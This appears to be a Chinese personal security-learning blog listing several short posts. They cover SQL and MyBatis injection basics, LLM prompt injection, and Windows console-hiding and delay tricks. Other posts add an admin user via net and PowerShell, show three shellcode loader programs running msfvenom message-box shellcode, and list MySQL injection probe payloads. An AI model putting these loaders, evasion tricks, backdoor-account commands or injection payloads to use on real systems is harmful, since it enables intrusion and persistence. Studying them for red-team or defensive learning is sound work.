Fivesix's blog

Sql注入

Sat, 31 Jan 2026 23:35:55 +0800

常见基本SQL语句#

-- 查询users表所有列
SELECT * FROM users;

-- 查询users表特定列：id, username, email
SELECT id, username, email FROM users;

-- 带条件查询
SELECT * FROM users WHERE id = 1;
SELECT * FROM users WHERE username = 'admin' AND status = 1;

-- 模糊查询
-- 查询名字以 'admin' 开头的用户
SELECT * FROM users WHERE username LIKE 'admin%';

-- 查询名字包含 'test' 的用户
SELECT * FROM users WHERE username LIKE '%test%';

-- 排序 (ORDER BY)
-- 按 ID 升序
SELECT * FROM users ORDER BY id ASC;

-- 按创建时间降序
SELECT * FROM users ORDER BY create_time DESC;

-- 聚合函数
-- 统计总行数
SELECT COUNT(*) FROM users;

-- 计算平均值
SELECT AVG(age) FROM users;

-- 分组统计
SELECT role, COUNT(*) FROM users GROUP BY role;

-- 联合查询 (UNION)
SELECT id, username FROM users UNION SELECT 1, database();

-- 插入数据 (INSERT)
-- 插入单条数据
INSERT INTO users (username, password, email) VALUES ('test_user', '123456', 'test@example.com');

-- 插入多条数据
INSERT INTO users (username, password) VALUES ('user1', 'pass1'), ('user2', 'pass2');

-- 更新数据 (UPDATE) 注意：一定要带 WHERE 条件，否则会更新整张表
-- 更新特定用户的密码
UPDATE users SET password = 'new_password' WHERE id = 10;

-- 同时更新多个字段
UPDATE users SET status = 0, update_time = NOW() WHERE username = 'admin';

-- 删除数据 (DELETE) 注意：一定要带 WHERE 条件，否则会清空整张表
-- 删除特定 ID 的记录
DELETE FROM users WHERE id = 5;

-- 删除状态为禁用的用户
DELETE FROM users WHERE status = -1;

Mybatis框架#

#{} 用于预编译的 SQL 语句中，是预编译处理（安全）。
${} 则用于动态 SQL 语句中，是直接字符串替换（危险），字符串拼接。

Mybatis Plus框架#

审计MyBatis Plus框架中的SQL注入问题，核心在于识别动态SQL拼接的场景。

AI 安全

Sat, 31 Jan 2026 23:31:21 +0800

OWASP Top 10 for Large Language Model Applications#

1. 提示词注入(Prompt Injection)#

提示词注入类型#

1. 直接注入
    直接提示注入是指用户的提示输入以非预期或意外的方式直接改变了模型的行为。输入可以是有意的（即恶意行为者故意设计提示以利用模型）或非意图的（即用户无意中输入触发意外行为）。
2. 间接注入
    间接提示注入发生在LLM接受来自外部来源（如网站或文件）的输入时。外部内容中可能包含这些数据，当模型解释时，会以意想不到或意想不到的方式改变模型的行为。与直接注射类似，间接注射可以是有意的，也可以是无意的。

通常情况下，提示词注射可能导致意想不到的结果，包括但不限于：

隐藏控制台窗口

Sat, 31 Jan 2026 23:24:32 +0800

#pragma comment 指令#

#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#include <windows.h>
int main() {
    MessageBoxA(0, "弹窗！", "Test", 0);
    return 0;
}

ShowWindow#

#include <windows.h>

int main() {
    // 获取控制台窗口句柄
    HWND hWnd = GetConsoleWindow();
    // 隐藏
    ShowWindow(hWnd, SW_HIDE);
    
    MessageBoxA(0, "弹窗！", "Test", 0);
    return 0;
}

FreeConsole#

#include <windows.h>

int main() {
    // 释放控制台资源
    FreeConsole();
    
    MessageBoxA(0, "弹窗！", "Test", 0);
    return 0;
}

延迟执行

Sat, 31 Jan 2026 11:43:25 +0800

Sleep()#

#include <windows.h>

int main() {
    // 单位是毫秒
    Sleep(5000);
    MessageBoxA(NULL, "Hello!", "Success", MB_OK);
    return 0;
}

WaitForSingleObject#

#include <windows.h>

int main() {

    WaitForSingleObject(GetCurrentProcess(), 5000);

    MessageBoxA(NULL, "5秒钟","test", MB_OK | MB_ICONINFORMATION);

    return 0;
}

IcmpSendEcho#

#include <windows.h>
#include <iphlpapi.h>
#include <icmpapi.h>
#include <iostream>

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")

int main() {

    HANDLE hIcmp = IcmpCreateFile();

    // 构造一个不存在的 IP 地址 (例如 1.1.1.1)
    IPAddr targetIp = inet_addr("192.0.2.1");

    char sendData[] = "test";
    LPVOID replyBuffer = (VOID*)malloc(sizeof(ICMP_ECHO_REPLY) + sizeof(sendData));

    // 设置超时时间为 5000 毫秒
    IcmpSendEcho(hIcmp, targetIp, sendData, sizeof(sendData), NULL, replyBuffer, sizeof(ICMP_ECHO_REPLY) + sizeof(sendData), 5000);

    std::cout << "5 seconds passed." << std::endl;

    free(replyBuffer);
    IcmpCloseHandle(hIcmp);
	MessageBoxA(NULL, "5 seconds passed.", "Info", MB_OK);
    return 0;
}

Select (Socket 超时)#

#include <winsock2.h> 
#include <iostream> 

#pragma comment(lib, "ws2_32.lib") 

int main() {
    // 1. 初始化
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    // 2. 创建一个占位 Socket
    SOCKET dummy = socket(AF_INET, SOCK_STREAM, 0);

    FD_SET readfds;
    FD_ZERO(&readfds);
    FD_SET(dummy, &readfds);

    // 3. 设置时间
    TIMEVAL tv;
    tv.tv_sec = 5;
    tv.tv_usec = 0;

    // 4. 执行延时
    select(0, &readfds, NULL, NULL, &tv);

    // 5. 清理
    closesocket(dummy);
    WSACleanup();

    std::cout << "[*] 5 seconds passed." << std::endl;
    MessageBoxA(NULL, "延时成功！", "Test", MB_OK);

    return 0;
}

Windows添加用户

Sat, 31 Jan 2026 11:10:44 +0800

CMD#

1
2

net user admin 123456 /add
net localgroup Administrators admin /add

Powershell#

1
2
3

$Password = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
New-LocalUser -Name "admin" -Password $Password -Description "Admin User"
Add-LocalGroupMember -Group "Administrators" -Member "admin"

$computer = [ADSI]"WinNT://$env:COMPUTERNAME"
$user = $computer.Create("User", "test")
$user.SetPassword("P@ssw0rd123")
$user.SetInfo()

$group = [ADSI]"WinNT://$env:COMPUTERNAME/Administrators,group"
$group.Add($user.Path)

Add-Type -AssemblyName System.DirectoryServices
$computer = [ADSI]"WinNT://localhost"
$user = $computer.Children.Add("admin", "user")
$user.Invoke("SetPassword", "P@ssw0rd123")
$user.CommitChanges()

$group = [ADSI]"WinNT://localhost/Administrators,group"
$group.Invoke("Add", $user.Path)

NetUserAdd#

参考https://learn.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd

PE文件结构

Fri, 30 Jan 2026 16:06:28 +0800

PE#

可移植性可执行文件。

PE (Portable Executable) 是 Windows 下的可执行文件格式（主要用于.exe, .dll, .sys）,主要使用在32位和64位的Windows操作系统。

硬盘上的 .exe 文件          内存中的进程 (Virtual Memory)
+-----------------+        +-----------------+
| DOS Header      |   ->   | DOS Header      |
+-----------------+        +-----------------+
| NT Headers      |   ->   | NT Headers      |
+-----------------+        +-----------------+
| Section Table   |   ->   | Section Table   |
+-----------------+        +-----------------+
| .text (Code)    |   ->   | .text (Code)    |  <-- AddressOfEntryPoint 指向这
+-----------------+        |   (Alignment)   |  <-- 内存对齐产生的空隙
| .data (Vars)    |   ->   | .data (Vars)    |
+-----------------+        +-----------------+

PE 结构自上而下分为 4 个核心部分：

Windows API 调用层级

Fri, 30 Jan 2026 12:11:58 +0800

第一层：Standard Library (标准库层)#

例如：C语言中的

`1`	`FILE* fp = fopen("test.txt", "w"); // 在这里下断点`

或者java中的：

`1`	`new FileOutputStream("test.txt");`

第二层：Win32 API / Windows Subsystem (子系统层)#

这是微软官方提供给开发者的一套标准接口，通常位于 Kernel32.dll 、 User32.dll 等 DLL 中。当 fopen 在 Windows 上运行时，它最终会调用：

`1`	`CreateFileA("test.txt", ...); // 位于 Kernel32.dll`

第三层：Native API (原生 API 层)#

Kernel32.dll 中的 CreateFile 经过一系列检查后，会调用更底层的函数。这个函数位于 Ntdll.dll 中：

APCLocalInjection

Thu, 29 Jan 2026 23:10:03 +0800

#include <windows.h>

int main() {
    //./msfvenom -p windows/x64/messagebox TEXT="Hello" TITLE="Test" -f c
    unsigned char buf[] =
        "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
        "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
        "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
        "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
        "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
        "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
        "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
        "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
        "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
        "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
        "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
        "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
        "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
        "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
        "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
        "\x8d\x8d\x19\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
        "\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
        "\x00\x3e\x4c\x8d\x85\x14\x01\x00\x00\x48\x31\xc9\x41\xba"
        "\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
        "\x56\xff\xd5\x48\x65\x6c\x6c\x6f\x00\x54\x65\x73\x74\x00"
        "\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";

    // 申请内存 (RWX)
    void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 复制shellcdoe
    RtlMoveMemory(exec, buf, sizeof(buf));

    // 插入 APC 队列
    // 参数1: APC 函数地址 (Shellcode)
    // 参数2: 目标线程句柄 (当前线程)
    // 参数3: 传给函数的参数
    QueueUserAPC((PAPCFUNC)exec, GetCurrentThread(), NULL);

    // 触发执行 (Alertable State)
    // 线程必须进入"可警告状态"，APC 才会执行。
    // SleepEx 的第二个参数 TRUE 表示允许被 APC 打断。
    SleepEx(1000, TRUE);

    return 0;
}

Cobaltstrike二开

Thu, 29 Jan 2026 22:53:45 +0800

`1`	`#include "cs.h"`

CreateThreadInjection

Thu, 29 Jan 2026 22:53:45 +0800

#include <windows.h>

int main() {
    //./msfvenom -p windows/x64/messagebox TEXT="Hello" TITLE="Test" -f c
    unsigned char buf[] = 
        "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
        "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
        "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
        "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
        "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
        "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
        "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
        "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
        "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
        "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
        "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
        "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
        "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
        "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
        "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
        "\x8d\x8d\x19\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
        "\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
        "\x00\x3e\x4c\x8d\x85\x14\x01\x00\x00\x48\x31\xc9\x41\xba"
        "\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
        "\x56\xff\xd5\x48\x65\x6c\x6c\x6f\x00\x54\x65\x73\x74\x00"
        "\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";

    // 1. 申请内存 (RWX)
    void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 2. 复制数据
    RtlMoveMemory(exec, buf, sizeof(buf));

    // 3. 创建线程执行
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);

    // 4. 等待执行结束
    WaitForSingleObject(th, -1);

    return 0;
}

MySQL injection

Thu, 29 Jan 2026 20:30:38 +0800

检测payload

'
"
`
%df'
%27
%2527
)
))
')
")
;
-- 
/*
#
1+1
1-0
1/0
1e308
%0a
%09
--
AND 1=1
AND 1=2
' AND '1'='1
' AND '1'='2
" AND "1"="1
" AND "1"="2
') AND ('1'='1
' AND SLEEP(5)--+
" AND SLEEP(5)--+
AND (SELECT * FROM (SELECT(SLEEP(5)))a)

LocalProcessInjection

Thu, 29 Jan 2026 19:33:33 +0800

#include "Windows.h"

int main()
{
    //./msfvenom -p windows/x64/messagebox TEXT="Hello" TITLE="Test" -f c

	unsigned char shellcode[] =
        "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
        "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
        "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
        "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
        "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
        "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
        "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
        "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
        "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
        "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
        "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
        "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
        "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
        "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
        "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
        "\x8d\x8d\x19\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
        "\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
        "\x00\x3e\x4c\x8d\x85\x14\x01\x00\x00\x48\x31\xc9\x41\xba"
        "\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
        "\x56\xff\xd5\x48\x65\x6c\x6c\x6f\x00\x54\x65\x73\x74\x00"
        "\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";

	void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	((void(*)())exec)();
    return 0;
}

My First Post

Thu, 29 Jan 2026 12:56:06 +0800

Introduction#

This is bold text, and this is emphasized text.

Visit the Hugo website!

关于我

Mon, 29 Jan 2024 00:00:00 +0000

👋 你好！#

🈚️